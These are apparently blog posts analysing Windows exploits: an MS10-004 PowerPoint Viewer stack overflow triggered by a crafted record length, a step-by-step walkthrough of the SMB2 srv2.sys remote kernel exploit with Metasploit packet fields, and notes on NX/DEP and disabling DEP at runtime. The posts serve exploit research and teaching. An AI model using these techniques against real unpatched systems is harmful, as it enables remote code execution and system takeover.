we are still alive  and I’m here to demonstrating a really cheap bug which occurred in MS PPT Viewer  ( actually  just for fun and showing we are alive ). according to MS advisory vulnerability occurs in MS PPT Viewer by specially crafted PPT file. MS also tell us vuln is “TextBytesAtom Record” and it is “Stack Overflow”. lets take a quick look at MS Office binaries documents

TextBytesAtom Record

according to MS office documentations , TexBytesAtom is a record for storing The actual characters of the text, not including the trailing return character and it stored as bytes . there is not any additional fields in this record , so how we can overflow the buffer ? just by creating a large record ? after diging the net for more information , i got some info from ZDI : “Due to the lack of bounds checking on the size argument an unchecked memcpy() copies user data from the file to the stack.” but there isn’t any size filed !  maybe thats in hole record structure !? lets look at “Record Structure” in PPT files :

struct RecordHeader {
psrVersion recVer : 4 // unsinged short int
psrInstance recInstance : 12;  // unsinged short int
psrType recType; // unsinged short int
psrSize recLen; // unsinged long int
};

I put some comments on it for making type definitions more familiar and easier to read  . There is only to interesting fields for us in record structure. first , recType which demonstrate the record type and the second, recLen which demonstrate record length. according to MS docs this atom is of variable length and depends on the length of the text. recLen filed will automatically filled by PowerPoint during slide creation time . but we can change it’s value  manually at haxoring time . I just created a ppt file and filled title with a bunch of A’s.

now let take a dipper look :

in office docs , TexBytesAtom represented by 4008 in decimal . you most looking for hex value in the file which is “A80F” . 4008 or A80F is value for recType in record structure. you can see the recSize filed value right after A80F . you remember ? ZDI mentioned something about memcpy function . this function get unsigned int  for its size argument. so what happent if we change recSize value to -1 ? in hex -1 represent like 0xFFFFFFFF and in unsigned  int world its equal to 4294967295 , the biggest value which can store in 4 byte ! lets try

good ! an AV occurred . now just a little debugging

(e14.e18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=029a29d0 ebx=00000975 ecx=00000445 edx=00000003 esi=029a18b9 edi=00130000
eip=75e99b60 esp=0012ec44 ebp=0012ec4c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\msvcrt.dll -
msvcrt!memcpy+0x250:
75e99b60 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd esi
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\ole32.dll -
029a18b9  41414141 41414141 410d4141 41414141
029a18c9  41414141 41414141 41414141 41414141
029a18d9  41414141 41414141 41414141 41414141
029a18e9  41414141 41414141 41414141 41414141
029a18f9  41414141 41414141 41414141 41414141
029a1909  4141410d 41414141 41414141 41414141
029a1919  41414141 41414141 41414141 41414141
029a1929  41414141 41414141 41414141 41414141
0:000> dd edi
00130000  78746341 00000020 00000001 00002fb0
00130010  000000dc 00000000 00000020 00000000
00130020  00000014 00000001 00000007 00000034
00130030  0000017c 00000001 00000000 00000000
00130040  00000000 00000000 00000000 00000002
00130050  1a26ef4e 00000298 00000044 000002e0
00130060  00000250 00000000 f33271ba 00000530
00130070  0000004a 0000057c 0000031e 00000000
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ec4c 75ba4ab0 0012f0bc 029a0975 0000205b msvcrt!memcpy+0x250
0012ec8c 75ba3757 00000975 0012f0bc 0000205b ole32!StgOpenStorage+0x9ed
0012ecb4 75c1b0a8 04563fb8 00000975 00000000 ole32!StringFromIID+0x3ec
0012eea0 75c1b0ea 00000375 00000001 0012f0bc ole32!WriteClassStm+0x1c11
0012eebc 75c1b142 00000375 00000000 0012f0bc ole32!WriteClassStm+0x1c53
0012eed8 75c1b1d4 00000375 00000000 0012f0bc ole32!WriteClassStm+0x1cab
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\PowerPoint Viewer\PPTVIEW.EXE -
0012ef1c 300eea00 00000000 0012f0bc ffffffff ole32!WriteClassStm+0x1d3d
0012ef34 300f1212 045607b0 00000000 0012f0bc PPTVIEW+0xeea00
0012ef58 300f9aac 0012f0bc ffffffff 02c19a58 PPTVIEW+0xf1212
0012f14c 41414141 41414141 41414141 41414141 PPTVIEW+0xf9aac
0012f150 41414141 41414141 41414141 41414141 0x41414141
0012f154 41414141 41414141 41414141 41414141 0x41414141
0012f158 41414141 41414141 41414141 41414141 0x41414141
0012f15c 41414141 41414141 41414141 41414141 0x41414141
0012f160 41414141 41414141 41414141 41414141 0x41414141
0012f164 41414141 41414141 41414141 41414141 0x41414141
0012f168 41414141 41414141 41414141 41414141 0x41414141
0012f16c 41414141 41414141 41414141 41414141 0x41414141
0012f170 41414141 41414141 41414141 41414141 0x41414141
0012f174 41414141 41414141 41414141 41414141 0x41414141

have fun

Poc File :

presentation_MS10_004

references :

• MS MS10-004 Advisory
• ZDI Advisory

What is SMB ?

from Wikipedia :  ”In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as ‘Microsoft Windows Network’ ” and smb2 , “Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the ‘chattiness’ of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.” in Windows Vista/2008/7 , srv2.sys driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table.  lets dig into srv2.sys and finding vulnerability …

Start Point : The Vulnerability

lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted  message . vulnerable codes are in Smb2ValidateProviderCallback() function . in Smb2ValidateProviderCallback(x)+4DE we have :

we can write it down in simple pseudo code like this :

[...]
 CallBackFunction = _ValidateRoutines[ NegotiatePacket->PidHight * 4 ];
 if ( CallBackFunction == NULL ){
 // some codes for recovering saved Security_Cookie
 // they add automatically by compiler in function epilogue
 // mov     ecx, [ebp+var_4] -> this is Cookie
 // pop     edi
 // pop     esi
 // xor     ecx, ebp -> recovering Cookie
 // pop     ebx
 // call __security_check_cookie(Saved_Security_Cookie) -> eating cookie 
 return ( 0xC0000002 );
 } else {
 return ( (*CallBackFunction)(Argument) );
 }
[...]

you find the vuln ? as you can see there is parameter  ”NegotiatePacket->PidHight”. this is a part of NEGOTIATE PROTOCOL REQUEST PACKET . we can control this field in our packet ,  so we can control “CallBackFunction” , and if we control “CallBackFunction” we control EIP !

Packet, Header and PID

before triggering the vulnerability  we need Packet bullet  .  SMB Packets are composed of three parts :

• Header
• Parameter Block
• Data Block

in above figure you can see SMB packet layout :

in syntax presentation Header is look like :

SMB_HEADER
  {
  PROTOCOL  = "\xffSMB"
  COMMAND   = <SMB Command code>
  STATUS    = <Status code>
  FLAGS     = <Old flags>
  FLAGS2    = <New flags>
  EXTRA     = <Sometimes used for additional data>
  TID       = <Tree ID>
  PID       = <Process ID>
  UID       = <User ID>
  MID       = <Multiplex ID>
[...]
}

The first four bytes are the protocol identifier string , which always are “\xffSMB”  ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an NEGOTIATE PROTOCOL REQUEST PACKET . lets take look at NPR Packet :

NEGOTIATE_PROTOCOL_REQUEST
  {
  SMB_HEADER
    {
    PROTOCOL  = "\xffSMB"
    COMMAND   = SMB_COM_NEGOTIATE (0x72)
    STATUS
      {
      ErrorClass
      ErrorCode
      }
    FLAGS
    FLAGS2
    EXTRA
      {
      PidHigh
      Signature
      }
    TID
    PID
    UID
    MID
    }
 [...]

in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :

but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type  , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to [ _ValidateRoutines Address +  ( 0xFF * 4)  ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :

kd> u 917ac745

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

917ac749 8b048570227c91  mov     eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4]

917ac750 85c0            test    eax,eax

917ac752 7507            jne     srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b)

917ac754 b8020000c0      mov     eax,0C0000002h

917ac759 eb03            jmp     srv2!Smb2ValidateProviderCallback+0x501 (917ac75e)

917ac75b 53              push    ebx

917ac75c ffd0            call    eax

kd> bl

 0 e 917ac745     0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8

 1 eu             0001 (0001) (l)

 2 e 917b7ea0     0001 (0001) srv2!SrvSnapShotScavengerTimer



kd> g

Breakpoint 0 hit

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

i put a break point in vulnerable function  ( in srv2!Smb2ValidateProviderCallback+0×4e8 )  , then i run  Stephan’s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :

 kd> d esi

85317600  ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9  .SMBr.....S.....

85317610  58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb  X...............

85317620  00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff  . ..............

85317630  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317640  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317650  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317660  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317670  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

Stephen use  0×0217 as index for ValidateRoutines function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( 0×85317600 )  so poping items from stack is not good idea !  but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :

kd> s -d 0x91996d04 L?0x91996d04+50 0x85317600

91996d1c  85317600 8518b1a8 84eb7568 8713b808  .v1.....hu......

yow ,  i found one ! it located at 0x91996d1c . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0×0217 as index,  now EAX point to SrvSnapShotScavengerTimer function. let see what have there :

little function . what is so important in this function ? if you look carefully you see RET 0×10 instruction at the end of function!   SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :

pop     edi

pop     esi

xor     ecx, ebp

pop     ebx

call    @__security_check_cookie@4 ; __security_check_cookie(x)

leave

retn    4

if you remember , our packet pointer was in esp+18 , so by ret 10h  our pointer move ( not really MOVE !!! ) to esp+4 ! look :

kd> dd esp

91996d18  84eb746c 85317600 8518b1a8 84eb7568

91996d28  8713b808 84eb7408 917c4fc4 00000000

91996d38  00e5448c 91996d50 917c4a77 8518b008

91996d48  86e9aee0 8518b008 91996d7c 917c319f

91996d58  8518b008 00000000 8713b808 00000000

91996d68  00000000 00000000 91996d80 00000001

91996d78  00000001 91996dc0 819eda1c 00000000

91996d88  7426f33a 00000000 00000000 00000000

so after we return from SrvSnapShotScavengerTimer and at the end of Smb2ValidateProviderCallback , EDI receive 084eb746c and after that , by pop esi , ESI will grab 0x85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area . you will find out it further . now lets take lock at call stack , where we return after Smb2ValidateProviderCallback is srv2!SrvProcessPacket+0×4b :

EAX is zero  :

kd> r

eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444

eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

so we jump to loc_91E78A99 , result of comparing EAX  with 0×103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to  loc_91E78AA9 .after a few instructions , we land here :

ESI still point to our packet , because there wasn’t any instruction which change ESI value . after ESI pushed on the stack srv2!SrvProcCompleteRequest function called.this function is key for getting code execute ! a little cheat show you this key :

you found that :-”  . at the first of this function we have :

after some  repetitious instructions :

mov     esi, dword ptr [ebp+NewIrql]
cmp     byte ptr [esi+0C8h], 0
jnz     short loc_91E78AE7

NewIrql is 3rd  parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn’t zero we jump to loc_91E78AE7 . loc_91E78AE7 will direct us to fully controllable “call eax” .if  i don’t understand why Stephen doesn’t put zero at esi+0c8 and make his job harder by second call to srv2!SrvProcCompleteRequest to get “call eax” ,continue reading ,  i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :

again ESI pushed on the stack as function argument , so we have controllable area in SrvConsumeDataAndComplete function too .

there isn’t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after SrvConsumeDataAndComplete2 called , because of “mov eax, [ebp+NewIrql]”  and then ”push eax” instructions. there is second call to SrvProcCompleteRequest function  in SrvConsumeDataAndComplete2 .

but if we want this , we have to change execution flow to the basic block which call SrvProcCompleteRequest.red windows lead us to SrvProcCompleteRequest call .

lets  see SrvConsumeDataAndComplete2 :

after function prologue ,  we have “cmp dword ptr [esi+150h],ebx” , ESI+150 point to 0×41414141 . so jz never jump to loc_91E796B5 . in “mov eax, [esi+14Ch]” , 0×3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :

mov     ebx, [esi+128h]

mov     edi, [esi+12Ch]

both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :

 sbb     ebx, edi

mov     [ebp+var_4], ebx

js      short loc_91E79683

now , because both ebx and edi are unsigned and subtract result too, Sign Flag  will be zero and js instruction direct us to red line pointed of below figure :

jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block.  after first sub instruction in this block we have “mov ecx, [ebp+NewIrql]” . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so “lea eax, [esi+eax*4+130h]” is equl to “lea eax, [esi+0]” . now eax point to our packet . after that we have “inc dword ptr [eax]” . THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE ! if look carefully at smb packet Header you see something like “424d53ff” . this hex numbers assembel to “CALL DWORD PTR SS:[EBP+ECX*2+42]” but by Stephan’s l33t magic , inc [eax] make smb header like “424d5400″ and  this assemble to ”add byte ptr [ebp+ecx*2+42h],dl” . after that controllable “CALL EAX” we want to jump to our packet and if first instruction of packet assemble to “CALL DWORD PTR SS:[EBP+ECX*2+42]” we call unknown function and a nice AV !  but Stephen’s l33t magic makes things right . “or”  instruction is not so important and after that we jump to loc_91E79698 :

there isn’t any important thing in loc_91E79698 block , we skip this block and go to  loc_91E796B5 . here we  have little tricky address. look at this instructions :

mov     ecx, [esi+3Ch]

mov     eax, [ecx+18h]

esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c  . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0×0000000 , a zero readable place ! then we have “cmp eax, ebx” , eax is zero becuase of “mov eax, [ecx+18h]” instruction and ebx is also zero because of xor instruction in  loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :

we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :

 kd> r

eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff

eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

srv2!SrvConsumeDataAndComplete2+0x11a:

91b8e72b 3bc8            cmp     ecx,eax

now we are here :

here is a another haxor edit ! i don’t know how Stephen found this great function !?! really really awesome work Stephen ! if you lock carefully at “mov byte ptr [esi+0C8h], 1″ instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function .  at firs of SrvProcCompleteRequest function we have :

cmp     byte ptr [esi+0C8h], 0

jnz     short loc_91E78AE7

if this compare lead us to loc_91E78AE7 block we can reach at  fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with “mov byte ptr [esi+0C8h], 1″ we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set esi+0C8h by one and  make code execution happen . lets go further in loc_91E79968 :

this is second call to SrvProcCompleteRequest . so lets go :

we are here after cmp instruction make”jnz short loc_91E78AE7″ happen . in loc_91E78AE7 block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0×00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h.  if jz don’t execute , we jump here :

in first block we have no important thing , just some address most be readable  and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because esi+0E0h point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :

we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ 0×168 will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :

kd> p

srv2!SrvProcCompleteRequest+0xd2:

91b8db91 ffd0            call    eax

kd> u ffd00d09

ffd00d09 5e              pop     esi

ffd00d0a c3              ret

ffd00d0b 7c58            jl      ffd00d65

ffd00d0d 0fb75102        movzx   edx,word ptr [ecx+2]

ffd00d11 0fb77002        movzx   esi,word ptr [eax+2]

ffd00d15 663bd6          cmp     dx,si

ffd00d18 7fed            jg      ffd00d07

ffd00d1a 7c49            jl      ffd00d65

“pop esi,ret ” ? yes . lets look at stack :

kd> p

Breakpoint 6 hit

ffd00d09 5e              pop     esi

kd> p

ffd00d0a c3              ret

kd> dd esp

88561cd0  85211bf8 ffffffff 00000000 85211bf8

88561ce0  00000000 00000000 88561d10 91b8e96f

88561cf0  85211bf8 00000000 00000001 85217444

88561d00  85211bf8 8515c778 ffdf0d04 000008a4

88561d10  88561d1c 91b8e997 3fffffb4 88561d34

88561d20  91b8dae2 85211bf8 85211bf8 91b8b901

88561d30  91b8b901 88561d50 91b8dab4 85211bf8

88561d40  00000000 91b8b901 8711bac0 8515c5d8

Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :

 kd> dd esi

85211bf8  424d5400 00000072 c8531800 e9000217

85211c08  00000158 00000000 00000000 69890000

85211c18  02022000 ffdf0d04 ffdf0d04 ffdf0d04

85211c28  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c38  00000000 00000000 91b71c1f 85211bf8

85211c48  91b7157a 00000000 ffdf0d04 ffdf0d04

85211c58  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c68  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

very nice jump ! lets execute shellcode :

kd> bp 85211bf8

kd> u 85211bf8

85211bf8 00544d42        add     byte ptr [ebp+ecx*2+42h],dl

85211bfc 7200            jb      85211bfe

85211bfe 0000            add     byte ptr [eax],al

85211c00 0018            add     byte ptr [eax],bl

85211c02 53              push    ebx

85211c03 c8170200        enter   217h,0

85211c07 e958010000      jmp     85211d64

85211c0c 0000            add     byte ptr [eax],al

“jmp 85211d64″ instruction is value of Signature1 field in packet , here is exploit code :

 packet['Payload']['SMB'].v['Flags1']        = 0x18

 packet['Payload']['SMB'].v['Flags2']        = 0xC853

 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']

 packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.

 packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...

 packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )

now we jump directly to ring0 shellcode and after that rin3 shellcode . go :

 kd> g 
Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc              int     3

i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully .  last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets …. . have nice exploitation – snake.

This is  again Snake with  his poor English . when m08-67 vulnerability exploited successfully by metasploit guys , i got experience on dep .now i think it is good time ( i know it is a little late ) to public my information about this protection. in this post i try to explain some things that i found about dep internals and NtSetInformationProcess function.

Paging,Page Table,Page Directory

in IA-32 arch architect  and Memory Virtualazation  , CPU and OS are using mechanism called paging.they use paging for mapping linear address space to physical memory . linear address space is CPU addressable space and physical memory is physically connected memory , like RAM or ROM.and mapping is mechanism that translate an address in Virtual memory or Linear Address space to its equal in physical  memory. with out paging and Virtualazation , CPU translate an address directly to Physical memory. but in Memory Virtualazation , whole  address space divided into short fix size blocks  called Page.pages can present in different size , but usually are 4 kb in IA-32 . Page-Directory is 32 bit array of pointers to Page-Tables . and Page Table is 32 bit array that contain address of each page in physical memory. now CPU for mapping an address from Linear Address Space to Physical memory go to desire Page-Directory and find exact Page-Table.then it find correct address from Page and … . figure.1 show this mechanism in better way :

bellow  you can see Page-Directory and Page-Table arrays :

PD and PT bits are not in important for us , just an imagination of what they are and what they do .  by setting Present bit whole array use for storing address and other bits overwritten by addresses   .in  this type of IA-32 paging mechanism, a OS can support and address only  2^32 bits , form 0 to FFFFFFFF. in other word you can have only 4 gig memory for each process . Intel introduced Page Address Extension ( PAE )  for obviating this limits.by using PAE supported CPUs  OS can have 2^36 bit address space and it mean 64 gig memory for each process  ! for using this advantage Intel changed Page-Table and Page-Directory to 64 bit array. above figure show changed PD and PT :

PAE moreover 64 gig address space,  introduced new bit in Page-Table called NX  bit ( Execute Disable , Non-Execute ) .this bit is new protection mechanism in paging related protections such as setting privilege ( R\W )  for Pages . with NX we can mark a page as non executable .  there is many Pages that are use only for holding Data and they are executable so . why let them executable  ?  so by setting this bit OS separate Page for holding Executable Data and Non-Executable data. by this mechanism data related spaces such as Stack,Heap and data section became non-executable and this is Game Over for Exploits that run shellcode from stack or other data sections.

Linux Kernel NX Patch

lets take look at one of first linux Kernel NX patch for better understanding of this protection. at the first we have :

movl %eax,%cr4
btl $5, %eax	# check if PAE is enabled
jnc 6f
/* Check if extended functions are implemented */
movl $0x80000000, %eax
cpuid
cmpl $0x80000000, %eax
jbe 6f
mov $0x80000001, %eax
cpuid
/* Execute Disable bit supported? */
btl $20, %edx
jnc 6f

cr4 control register loaded  into eax , fifth bit of CR4 contain a sign for supporting PAE tech . if it presented we have PAE if not no PAE.  BT instruction used for bit testing and CF will receive its result. after that we use CPUID:80000001 instruction for NX bit checking. 20 bit of edx will recive the result and like PAE checking we have bt instruction again.i skip some functions that are written for mapping kernel address space to physical memory .after that we have function for catching NX in Page-Table :

static void __init set_nx(void)
{
 unsigned int v[4], l, h;
 if (cpu_has_pae && (cpuid_eax(0x80000000) > 0x80000001)) {
 cpuid(0x80000001, &v[0], &v[1], &v[2], &v[3]);
 if ((v[3] & (1 << 20)) && !disable_nx) {
 rdmsr(MSR_EFER, l, h);
 l |= EFER_NX;
 wrmsr(MSR_EFER, l, h);
 use_nx = 1;
 __supported_pte_mask |= _PAGE_NX;
 }
 }
}

then Kernel setup Page-Table by paging_init() function and set NX bit in pages ( if it is compatible )  :

void __init paging_init(void)
 {
#ifdef CONFIG_X86_PAE
 set_nx();
 if (use_nx)
 printk("NX (Execute Disable) protection: active\n");
 else
 printk("NX (Execute Disable) protection: not present!\n");
#endif
 pagetable_init();
[...]

now all the Pages are setuped with NX bit enable . for alocating executable Pages Kernel use vmalloc_exec() function :

void *vmalloc_exec(unsigned long size)
{
return __vmalloc(size, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC);
}

Exploitation Limits After NX

as you can see , NX snatch us permission  of executing code from data marked pages. so if we want to exploit a vulnerability by jumping into data preserve page with NX enable , we got Access Violation Exception ( actually a Page Fault ). now Heap , Stack and Data sections are non-executable .the only Executable memory is Code or text section , but it is write protected !

Windows and NX Bit

windows memory management system also take advantage of NX bit to defeat Stack/Heap/Date base buffer overflow  exploits. windows intruduce this protection in the term of Hardware Enforce Data Execution Prevention or just DEP in brevity. if CPU dosnt suppurt NX bit , there is very limit version of DEP , called Software DEP. it is not like Linux patch non-exportability emulation and just ensure that SEH Handler is located in executable Page ( not Stack or Heap ). DEP is configurable also and you can disable it from boot.ini or boot management in Vista . there is copy-pasted text of boot configuration from Wikipedia .

The Boot.ini file settings are as /noexecute=policy_level, where policy_level is defined as one of the following values:
OptIn
This setting is the default configuration for Windows XP. On systems with processors that can implement hardware-enforced DEP, DEP is enabled by default for limited system binaries and programs that “opt in”. With this option, only Windows system binaries are covered by DEP by default and cannot be disabled without changing the policy to “AlwaysOff”. This is also the default in Windows Vista; however in 64-bit Vista 64-bit applications are always opted in. [8]
OptOut
This setting is the default configuration for Windows 2003 SP1. DEP is enabled by default for all processes. A list of specific programs that should not have DEP applied can be entered using the System dialog box in Control Panel. Network administrators can use the Application Compatibility Toolkit to “opt out” one or more programs from DEP protection. System compatibility fixes, or shims, for DEP do take effect. Also note that Windows silently disables DEP for certain executables, such as those packaged with ASPack. [9]
AlwaysOn
This setting provides full DEP coverage for the whole system. All processes always run with DEP applied. The exceptions list to exempt specific programs from DEP protection is not available. System compatibility fixes for DEP do not take effect. Programs that have been opted out by using the Application Compatibility Toolkit run with DEP applied.
AlwaysOff
This setting does not provide any DEP coverage for any part of the system, regardless of hardware DEP support.

DLLs And DEP Compatibly

there is also a mechanism for detecting DEP incompatible binaries .at binary loading stage , OS call a LdrpCheckNXCompatibility() function. LdrpCheckNXCompatibility() make some experiences on binary to known DEP compatibility/ incompatibility. for example by if there is  sections like .aspack , .sforce or any other signature base sections of packers , the binary is DEP incompatible.if  binary is listed in HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNt\CurrentVersion\Image File Execution Option\DllNXOptions registery key it is also incompatible , this key is list of  DEP incompatible PEs . if binary have IMAGE_DLL_CHARACTERISTICS_NX_COMPAT set in DllCharacteristics field of its optional header its DEP compatible ( by 0×0100 value ) . this filed will set if binary is linked with      /NXCOMPAT linker option.what happen if a dll wasn’t DEP compatible ? in this situation  LdrpCheckNXCompatibility() disable DEP for that specific incompatible process at runtime. but how ?

Disabling DEP at Runtime

LdrpCheckNXCompatibility() function use NtSetInformationProcess function to disable DEP for a specific process .there is NteSetInformationProcess function prototype :

NTSYSAPI
NTSTATUS
NTAPI
NtSetInformationProcess(
 IN HANDLE               ProcessHandle,
 IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
 IN PVOID                ProcessInformation,
 IN ULONG                ProcessInformationLength );

for setting specific characteristic of a process  , Nt SetInformationProcess() use ProcessInformationClass structure .see this structure in above :

typedef enum _PROCESSINFOCLASS {
 ProcessBasicInformation,
 ProcessQuotaLimits,
 ProcessIoCounters,
 ProcessVmCounters,
 ProcessTimes,
 ProcessBasePriority,
 ProcessRaisePriority,
 ProcessDebugPort,
 ProcessExceptionPort,
 ProcessAccessToken,
 ProcessLdtInformation,
 ProcessLdtSize,
 ProcessDefaultHardErrorMode,
 ProcessIoPortHandlers,          // Note: this is kernel mode only
 ProcessPooledUsageAndLimits,
 ProcessWorkingSetWatch,
 ProcessUserModeIOPL,
 ProcessEnableAlignmentFaultFixup,
 ProcessPriorityClass,
 ProcessWx86Information,
 ProcessHandleCount,
 ProcessAffinityMask,
 ProcessPriorityBoost,
 ProcessDeviceMap,
 ProcessSessionInformation,
 ProcessForegroundInformation,
 ProcessWow64Information,
 ProcessImageFileName,
 ProcessLUIDDeviceMapsEnabled,
 ProcessBreakOnTermination,
 ProcessDebugObjectHandle,
 ProcessDebugFlags,
 ProcessHandleTracing,
 ProcessIoPriority,
 ProcessExecuteFlags,
 ProcessResourceManagement,
 ProcessCookie,
 ProcessImageInformation,
 MaxProcessInfoClass
} PROCESSINFOCLASS;

each entry in ProcessInformationClass point to the specific variable . for example ProcessBasicInformation point to  structure named PROCESS_BASIC_INFORMATION and defined in NTDDK.H .

typedef struct _PROCESS_BASIC_INFORMATION {

NTSTATUS ExitStatus;

PPEB PebBaseAddress;

ULONG_PTR AffinityMask;

KPRIORITY BasePriority;

ULONG_PTR UniqueProcessId;

ULONG_PTR InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION;

typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;

now we can set information of this structure for our selected process by calling NtSetInformationProcess like ( i don’t know coding like this is valid or not ,because i doesn’t find any public example of  using NteSet… ):

PROCESS_BASIC_INFORMATION P_B_I;
P_B_I.ExitStatus = 0;
P_B_I.PebBaseAddress = 0x7FFDF000;
P_B_I.InheritedFromUniqueProcessId = 666;
[...]
